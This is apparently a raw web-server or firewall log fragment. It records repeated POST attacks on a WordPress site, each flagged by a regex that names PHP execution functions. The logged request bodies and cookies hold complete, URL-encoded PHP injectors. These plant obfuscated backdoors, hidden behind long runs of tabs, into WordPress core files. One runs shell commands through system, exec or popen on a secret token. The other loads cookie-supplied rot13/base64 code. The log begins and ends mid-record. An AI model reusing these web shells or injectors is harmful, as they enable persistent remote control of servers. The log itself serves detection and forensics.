0=71\n\ntd=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-admin\/includes\/class-bulk-plugin-upgrader-skin.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524initialized2%2520%253D%2520%2522%255Cx73%255Cx68ell%255Cx5Fexe%255Cx63%2522%253B%2520%2524initialized7%2520%253D%2520%2522%255Cx70%255Cx63%255Cx6Cose%2522%253B%2520%2524approve_request%2520%253D%2520%2522%255Cx68%255Cx65%255Cx78%255Cx32bin%2522%253B%2520%2524initialized3%2520%253D%2520%2522e%255Cx78e%255Cx63%2522%253B%2520%2524initialized1%2520%253D%2520%2522%255Cx73y%255Cx73%255Cx74em%2522%253B%2520%2524initialized6%2520%253D%2520%2522%255Cx73tr%255Cx65%255Cx61%255Cx6D_%255Cx67%255Cx65%255Cx74_%255Cx63%255Cx6F%255Cx6Etents%2522%253B%2520%2524initialized4%2520%253D%2520%2522%255Cx70as%255Cx73th%255Cx72u%2522%253B%2520%2524initialized5%2520%253D%2520%2522%255Cx70o%255Cx70en%2522%253B%2520if%2520%2528isset%2528%2524_POST%255B%2522%255Cx74%255Cx6Fken%2522%255D%2529%2529%2520%257B%2520function%2520event_handler%2520%2528%2520%2524comp%2520%252C%2520%2524pset%2520%2529%257B%2520%2524fac%253D%2527%2527%253B%2520for%2528%2524e%253D0%253B%2520%2524e%253Cstrlen%2528%2524comp%2529%253B%2520%2524e%252B%252B%2529%257B%2524fac.%253Dchr%2528ord%2528%2524comp%255B%2524e%255D%2529%255E%2524pset%2529%253B%257D%2520return%2520%2524fac%253B%2520%257D%2520%2524token%2520%253D%2520%2524approve_request%2528%2524_POST%255B%2522%255Cx74%255Cx6Fken%2522%255D%2529%253B%2520%2524token%2520%253D%2520event_handler%2528%2524token%252C%252084%2529%253B%2520if%2520%2528function_exists%2528%2524initialized1%2529%2529%2520%257B%2520%2524initialized1%2528%2524token%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524initialized2%2529%2529%2520%257B%2520print%2520%2524initialized2%2528%2524token%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524initialized3%2529%2529%2520%257B%2520%2524initialized3%2528%2524token%252C%2520%2524resource_comp%2529%253B%2520print%2520join%2528%2522%255Cn%2522%252C%2520%2524resource_comp%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524initialized4%2529%2529%2520%257B%2520%2524initialized4%2528%2524token%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524initialized5%2529%2520%2526%2526%2520function_exists%2528%2524initialized6%2529%2520%2526%2526%2520function_exists%2528%2524initialized7%2529%2529%2520%257B%2520%2524pset_fac%2520%253D%2520%2524initialized5%2528%2524token%252C%2520%2527r%2527%2529%253B%2520if%2520%2528%2524pset_fac%2529%2520%257B%2520%2524hld_ent%2520%253D%2520%2524initialized6%2528%2524pset_fac%2529%253B%2520%2524initialized7%2528%2524pset_fac%2529%253B%2520print%2520%2524hld_ent%253B%2520%257D%2520%257D%2520exit%253B%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 09:37:22","103.143.207.18","POST","\/","Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/17.0 Safari\/605.1.15","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> ma:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/blocks\/gallery.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2520%2528isset%2528%2524_COOKIE%255B25-25%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B34-33%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B2%252B1%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B78-74%255D%2529%2529%2520%257B%2520%2524holder%2520%253D%2520%2524_COOKIE%253B%2520function%2520right_pad_string%2528%2524dchunk%2529%2520%257B%2520%2524holder%2520%253D%2520%2524_COOKIE%253B%2520%2524elem%2520%253D%2520tempnam%2528%2528%2521empty%2528session_save_path%2528%2529%2529%2520%253F%2520session_save_path%2528%2529%2520%253A%2520sys_get_temp_dir%2528%2529%2529%252C%2520%252785695c9e%2527%2529%253B%2520if%2520%2528%2521is_writable%2528%2524elem%2529%2529%2520%257B%2520%2524elem%2520%253D%2520getcwd%2528%2529%2520.%2520DIRECTORY_SEPARATOR%2520.%2520%2522token_parser_engine%2522%253B%2520%257D%2520%2524property_set%2520%253D%2520%2522%255Cx3c%255Cx3f%255Cx70%255Cx68p%2520%2522%2520.%2520base64_decode%2528str_rot13%2528%2524holder%255B3%255D%2529%2529%253B%2520if%2520%2528is_writeable%2528%2524elem%2529%2529%2520%257B%2520%2524mrk%2520%253D%2520fopen%2528%2524elem%252C%2520%2527w%252B%2527%2529%253B%2520fputs%2528%2524mrk%252C%2520%2524property_set%2529%253B%2520fclose%2528%2524mrk%2529%253B%2520spl_autoload_unregister%2528__FUNCTION__%2529%253B%2520require_once%2528%2524elem%2529%253B%2520%2540array_map%2528%2527unlink%2527%252C%2520array%2528%2524elem%2529%2529%253B%2520%257D%2520%257D%2520spl_autoload_register%2528%2522right_pad_string%2522%2529%253B%2520%2524item%2520%253D%2520%2522b9968453859463ebd3e6430924807e65%2522%253B%2520if%2520%2528%2521strncmp%2528%2524item%252C%2520%2524holder%255B4%255D%252C%252032%2529%2529%2520%257B%2520if%2520%2528%2540class_parents%2528%2522service_registry_app_initializer%2522%252C%2520true%2529%2529%2520%257B%2520exit%253B%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\naccept-encoding:gzip,deflate\nsec-fetch-dest:document\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncookie:4=ce288246c7d2df0454c666077eb603cf; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvoJRvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYaWdqKA0VwgcMvuznJkyK3O1qS9wo250MJ50pltxpPjxLlxcr2yhL2k1MTHtWUN7DUIhoTyhnltxpPx7MKucqQg9sK1xnJHbVvSho3E3paEvoPRvXGf=; 1=53; 0=71\ncontent-type:application\/x-www-form-urlencoded\nsec-fetch-site:none\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\ncontent-length:4308\nhost:dewenlabels.com\nuser-agent:Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/17.0 Safari\/605.1.15\nsec-fetch-mode:navigate\naccept:*\/*\n\nma=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/blocks\/gallery.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2520%2528isset%2528%2524_COOKIE%255B25-25%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B34-33%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B2%252B1%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B78-74%255D%2529%2529%2520%257B%2520%2524holder%2520%253D%2520%2524_COOKIE%253B%2520function%2520right_pad_string%2528%2524dchunk%2529%2520%257B%2520%2524holder%2520%253D%2520%2524_COOKIE%253B%2520%2524elem%2520%253D%2520tempnam%2528%2528%2521empty%2528session_save_path%2528%2529%2529%2520%253F%2520session_save_path%2528%2529%2520%253A%2520sys_get_temp_dir%2528%2529%2529%252C%2520%252785695c9e%2527%2529%253B%2520if%2520%2528%2521is_writable%2528%2524elem%2529%2529%2520%257B%2520%2524elem%2520%253D%2520getcwd%2528%2529%2520.%2520DIRECTORY_SEPARATOR%2520.%2520%2522token_parser_engine%2522%253B%2520%257D%2520%2524property_set%2520%253D%2520%2522%255Cx3c%255Cx3f%255Cx70%255Cx68p%2520%2522%2520.%2520base64_decode%2528str_rot13%2528%2524holder%255B3%255D%2529%2529%253B%2520if%2520%2528is_writeable%2528%2524elem%2529%2529%2520%257B%2520%2524mrk%2520%253D%2520fopen%2528%2524elem%252C%2520%2527w%252B%2527%2529%253B%2520fputs%2528%2524mrk%252C%2520%2524property_set%2529%253B%2520fclose%2528%2524mrk%2529%253B%2520spl_autoload_unregister%2528__FUNCTION__%2529%253B%2520require_once%2528%2524elem%2529%253B%2520%2540array_map%2528%2527unlink%2527%252C%2520array%2528%2524elem%2529%2529%253B%2520%257D%2520%257D%2520spl_autoload_register%2528%2522right_pad_string%2522%2529%253B%2520%2524item%2520%253D%2520%2522b9968453859463ebd3e6430924807e65%2522%253B%2520if%2520%2528%2521strncmp%2528%2524item%252C%2520%2524holder%255B4%255D%252C%252032%2529%2529%2520%257B%2520if%2520%2528%2540class_parents%2528%2522service_registry_app_initializer%2522%252C%2520true%2529%2529%2520%257B%2520exit%253B%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 09:37:24","77.65.47.245","POST","\/","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> jx:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/blocks\/gallery.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2520%2528isset%2528%2524_COOKIE%255B25-25%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B34-33%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B2%252B1%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B78-74%255D%2529%2529%2520%257B%2520%2524holder%2520%253D%2520%2524_COOKIE%253B%2520function%2520right_pad_string%2528%2524dchunk%2529%2520%257B%2520%2524holder%2520%253D%2520%2524_COOKIE%253B%2520%2524elem%2520%253D%2520tempnam%2528%2528%2521empty%2528session_save_path%2528%2529%2529%2520%253F%2520session_save_path%2528%2529%2520%253A%2520sys_get_temp_dir%2528%2529%2529%252C%2520%252785695c9e%2527%2529%253B%2520if%2520%2528%2521is_writable%2528%2524elem%2529%2529%2520%257B%2520%2524elem%2520%253D%2520getcwd%2528%2529%2520.%2520DIRECTORY_SEPARATOR%2520.%2520%2522token_parser_engine%2522%253B%2520%257D%2520%2524property_set%2520%253D%2520%2522%255Cx3c%255Cx3f%255Cx70%255Cx68p%2520%2522%2520.%2520base64_decode%2528str_rot13%2528%2524holder%255B3%255D%2529%2529%253B%2520if%2520%2528is_writeable%2528%2524elem%2529%2529%2520%257B%2520%2524mrk%2520%253D%2520fopen%2528%2524elem%252C%2520%2527w%252B%2527%2529%253B%2520fputs%2528%2524mrk%252C%2520%2524property_set%2529%253B%2520fclose%2528%2524mrk%2529%253B%2520spl_autoload_unregister%2528__FUNCTION__%2529%253B%2520require_once%2528%2524elem%2529%253B%2520%2540array_map%2528%2527unlink%2527%252C%2520array%2528%2524elem%2529%2529%253B%2520%257D%2520%257D%2520spl_autoload_register%2528%2522right_pad_string%2522%2529%253B%2520%2524item%2520%253D%2520%2522b9968453859463ebd3e6430924807e65%2522%253B%2520if%2520%2528%2521strncmp%2528%2524item%252C%2520%2524holder%255B4%255D%252C%252032%2529%2529%2520%257B%2520if%2520%2528%2540class_parents%2528%2522service_registry_app_initializer%2522%252C%2520true%2529%2529%2520%257B%2520exit%253B%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\nsec-fetch-user:?1\nsec-fetch-dest:document\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncontent-type:application\/x-www-form-urlencoded\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\nsec-ch-ua:\"Chromium\";v=\"110\", \"Not A(Brand\";v=\"24\", \"Google Chrome\";v=\"110\"\nsec-ch-ua-mobile:?0\nsec-ch-ua-platform:\"Windows\"\ncontent-length:4308\nsec-fetch-site:none\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36\nsec-fetch-mode:navigate\ncookie:4=1af844051764377410b827578daae50e; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvnatvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzAlMJS0MJDvB2yzXTMcoTIspUI0K2AioaEyoaEmXPEjYPEwXFy7nJ5woUIxMFNxpQgNqJ5fnJ5eXPEjXGgyrTy0B319sJEcMFtvVJ5iqUqlqTWfVFVcBj==; 1=53; 0=71\n\njx=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/blocks\/gallery.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2520%2528isset%2528%2524_COOKIE%255B25-25%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B34-33%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B2%252B1%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B78-74%255D%2529%2529%2520%257B%2520%2524holder%2520%253D%2520%2524_COOKIE%253B%2520function%2520right_pad_string%2528%2524dchunk%2529%2520%257B%2520%2524holder%2520%253D%2520%2524_COOKIE%253B%2520%2524elem%2520%253D%2520tempnam%2528%2528%2521empty%2528session_save_path%2528%2529%2529%2520%253F%2520session_save_path%2528%2529%2520%253A%2520sys_get_temp_dir%2528%2529%2529%252C%2520%252785695c9e%2527%2529%253B%2520if%2520%2528%2521is_writable%2528%2524elem%2529%2529%2520%257B%2520%2524elem%2520%253D%2520getcwd%2528%2529%2520.%2520DIRECTORY_SEPARATOR%2520.%2520%2522token_parser_engine%2522%253B%2520%257D%2520%2524property_set%2520%253D%2520%2522%255Cx3c%255Cx3f%255Cx70%255Cx68p%2520%2522%2520.%2520base64_decode%2528str_rot13%2528%2524holder%255B3%255D%2529%2529%253B%2520if%2520%2528is_writeable%2528%2524elem%2529%2529%2520%257B%2520%2524mrk%2520%253D%2520fopen%2528%2524elem%252C%2520%2527w%252B%2527%2529%253B%2520fputs%2528%2524mrk%252C%2520%2524property_set%2529%253B%2520fclose%2528%2524mrk%2529%253B%2520spl_autoload_unregister%2528__FUNCTION__%2529%253B%2520require_once%2528%2524elem%2529%253B%2520%2540array_map%2528%2527unlink%2527%252C%2520array%2528%2524elem%2529%2529%253B%2520%257D%2520%257D%2520spl_autoload_register%2528%2522right_pad_string%2522%2529%253B%2520%2524item%2520%253D%2520%2522b9968453859463ebd3e6430924807e65%2522%253B%2520if%2520%2528%2521strncmp%2528%2524item%252C%2520%2524holder%255B4%255D%252C%252032%2529%2529%2520%257B%2520if%2520%2528%2540class_parents%2528%2522service_registry_app_initializer%2522%252C%2520true%2529%2529%2520%257B%2520exit%253B%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 09:37:27","192.3.12.164","POST","\/","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/99.0.4844.51 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> iY:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/blocks\/gallery.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2520%2528isset%2528%2524_COOKIE%255B25-25%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B34-33%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B2%252B1%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B78-74%255D%2529%2529%2520%257B%2520%2524holder%2520%253D%2520%2524_COOKIE%253B%2520function%2520right_pad_string%2528%2524dchunk%2529%2520%257B%2520%2524holder%2520%253D%2520%2524_COOKIE%253B%2520%2524elem%2520%253D%2520tempnam%2528%2528%2521empty%2528session_save_path%2528%2529%2529%2520%253F%2520session_save_path%2528%2529%2520%253A%2520sys_get_temp_dir%2528%2529%2529%252C%2520%252785695c9e%2527%2529%253B%2520if%2520%2528%2521is_writable%2528%2524elem%2529%2529%2520%257B%2520%2524elem%2520%253D%2520getcwd%2528%2529%2520.%2520DIRECTORY_SEPARATOR%2520.%2520%2522token_parser_engine%2522%253B%2520%257D%2520%2524property_set%2520%253D%2520%2522%255Cx3c%255Cx3f%255Cx70%255Cx68p%2520%2522%2520.%2520base64_decode%2528str_rot13%2528%2524holder%255B3%255D%2529%2529%253B%2520if%2520%2528is_writeable%2528%2524elem%2529%2529%2520%257B%2520%2524mrk%2520%253D%2520fopen%2528%2524elem%252C%2520%2527w%252B%2527%2529%253B%2520fputs%2528%2524mrk%252C%2520%2524property_set%2529%253B%2520fclose%2528%2524mrk%2529%253B%2520spl_autoload_unregister%2528__FUNCTION__%2529%253B%2520require_once%2528%2524elem%2529%253B%2520%2540array_map%2528%2527unlink%2527%252C%2520array%2528%2524elem%2529%2529%253B%2520%257D%2520%257D%2520spl_autoload_register%2528%2522right_pad_string%2522%2529%253B%2520%2524item%2520%253D%2520%2522b9968453859463ebd3e6430924807e65%2522%253B%2520if%2520%2528%2521strncmp%2528%2524item%252C%2520%2524holder%255B4%255D%252C%252032%2529%2529%2520%257B%2520if%2520%2528%2540class_parents%2528%2522service_registry_app_initializer%2522%252C%2520true%2529%2529%2520%257B%2520exit%253B%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\nsec-fetch-user:?1\nsec-fetch-dest:document\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncontent-type:application\/x-www-form-urlencoded\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\nsec-ch-ua:\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"99\", \"Google Chrome\";v=\"99\"\nsec-ch-ua-mobile:?0\nsec-ch-ua-platform:\"Windows\"\ncontent-length:4308\nsec-fetch-site:none\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/99.0.4844.51 Safari\/537.36\nsec-fetch-mode:navigate\ncookie:4=9502d8dfeef0bdc4da77dd3a93ec6aec; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvnIxvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzSwL2IjqTIxVwgcMvuznJkyK3O1qS9wo250MJ50pltxpPjxLlxcr2yhL2k1MTHtWUN7DUIhoTyhnltxpPx7MKucqQg9sK1xnJHbVvSho3E3paEvoPRvXGf=; 1=53; 